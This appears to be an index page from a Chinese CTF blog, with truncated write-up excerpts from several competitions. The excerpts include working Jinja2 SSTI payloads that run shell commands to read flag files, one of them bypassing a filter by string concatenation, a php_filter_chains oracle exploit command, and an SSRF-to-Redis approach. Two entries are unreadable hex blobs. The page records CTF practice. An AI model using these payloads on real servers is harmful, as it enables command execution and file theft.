chuqiubei
easy_flask
登录框输入{{7*7}}发现是ssti,且变量可以从浏览器看出为user直接ssti即可。1?user={{cycler.__init__.__globals__.__builtins__['__import__']('os').popen('cat /app/flag').read()}}
file_copy
从报错可以看出其是使用copy函数来处理文件。我们可以使用php_filter_chains_oracle_exploit一把梭https://github.com/synacktiv/php_filter_chains_oracle_exploit
1python filters_chain_oracle_exploit.py --target http://eci-2zebps6z31jiqnksgy5t.cloudeci1.ichunqiu.com:80 --file /flag --paramet ...
培训
f51580de2b407268e91f2ffb343c94f122640b7b9c0287203fae2c0565cf19becd69f88c59abe3f3713d4df0a9c75163884d1460e582e997cb843fcaa6e1ece5645112fd27cef59b0422bd65b61c7f2f0ccb92af94c74b86875d8ef9610f734f52cec6787bef63b620a79f00848243efea8cb6a7abc9d6aa229520aa3d32108971725ed8c0e1b63439cdd49c170772f2178db526a22e5051c98f2e6f9c94c85829a9cb3aa677ac375cd7a2752823464f7f6c40520f41aa75fe3a4620117b9e2da8796e2bb1e71108512af19681bfc930de577ee5d10316c2c68354f2e81500690e6a03b6b1db824e3108b26009c300721ac9887723e66d268 ...
软件系统安全赛
CachedVisitor
审计代码可以发现ssrf漏洞盲测也可以测出来,因为环境有redis,所有考虑使用ssrf来打redis。1234567891011121314151617181920212223242526local function execute_lua_code(script_content) local lua_code = script_content:match("##LUA_START##(.-)##LUA_END##") if lua_code then local chunk, err = load(lua_code) if chunk then local success, result = pcall(chunk) if not success then print("Error executing Lua code: ", result) end els ...
ctfshow 渗透赛
aa4d0537ff612e50e47a231e796e4a1f0515937c555566258a32aae013c98db1bc8e2652128ee964de3d3465414fcbc4a735b880e731490e9842e56244728385b1e883d067fa137fa0120a4789fd213a1b03d6face5045c20513d17088426dd033ad9fbebd8ab106e2345911ac0f290589d5b91a9e4161969a31ce72e59e2282caf44dce7a0e5d4211083a05dd19fca8f0bb397c010d43e5222f6f83f3b22b8e7777f0cb9ed299b8aabe79dba60744dd1c9cd5a40a779c0d9cc2a8be98855f238a7dd8c7c2891a5465cdb70dd8d63cc0f66bada9d91bdaad286f61c0cd2936546fb123266d1582028e8d4be0c28080b9004c22c7d724d60ed ...
从DAS的strange_php开始探究PDO在反序列化中的利用
平常上课都没听,最近都忙着速通期末都没时间来更博客了。PDO首先就是pdo的一些操作了。pdo是php中用于sql查询的类,一般开发者会对利用pdo来封装一个sql查询的类。
DASCTF 2024最后一战|寒夜破晓,冬至终章个人wp
周末一个人简单打了一下DAS
webconst_python1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192import builtinsimport ioimport sysimport uuidfrom flask import Flask, request,jsonify,sessionimport pickleimport base64app = Flask(__name__)app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "")class User: def __init__(self, username, password, auth= ...
CISCN&铁三-web
国内网安实在是太强辣,最后10分钟直接掉一百来名捏😠Safe_proxy
看源码可以发现器/路由存在ssti,并且为无回显的ssti。这时有两个思路,内存马或者打回显。我这里打算打500报错回显比较方便打内存马相对要绕的会比较多python flask 新型回显的学习和进一步的深入
因为waf禁了__,popen sys os等我这里选择拼接绕过
1code={{url_for["_"+"_globals_"+"_"]["_"+"_builtins_"+"_"]['setattr'](((lipsum['_'+'_spec_'+'_']|attr('_'+'_init_'+'_')|attr('_'+'_globals_'+'_'))[' ...
thinkphp5.x专题
123composer create-project topthink/think=5.0.* tp5 --prefer-dist修改composer.json的topthink/framework值为5.0.5composer install
国城杯
这个国城杯的题目难度有那么亿点高,复现一下应该能学到不少东西Ez_Gallery首先是爆破验证码我这里直接用captcha-killer+codereg.pyhttps://github.com/f0ng/captcha-killer-modified/tree/main
可以爆破出密码为123456。然后进入后可以发现一个文件读取看源码
我们可以发现是一个无回显且flag没有读取权限的ssti,那这就很明显了其想让我们将执行命令的内容带出来或者盲注。但因为其将数字和点都给过滤了,那么我们弹shell和dns外带的难度就很大了。
而且因为这道题目并比赛flask框架的而是pyramid加wsgiref的我们不好使用内存马。
而我在之前有看过一个师傅的flask宽假的响应头回显思路并自己进行了一次调试python flask 新型回显的学习和进一步的深入
其原理像server头等固定的响应头其实都是硬编码在代码里的,我们可以通过将这些值污染为我们命令执行的结果从而进行回显
我先在本地简单调了一下这个宽假,我前面说了这些请求头是硬编码的,所有大概率是在程序刚开始运行时就写入的。我直接将 ...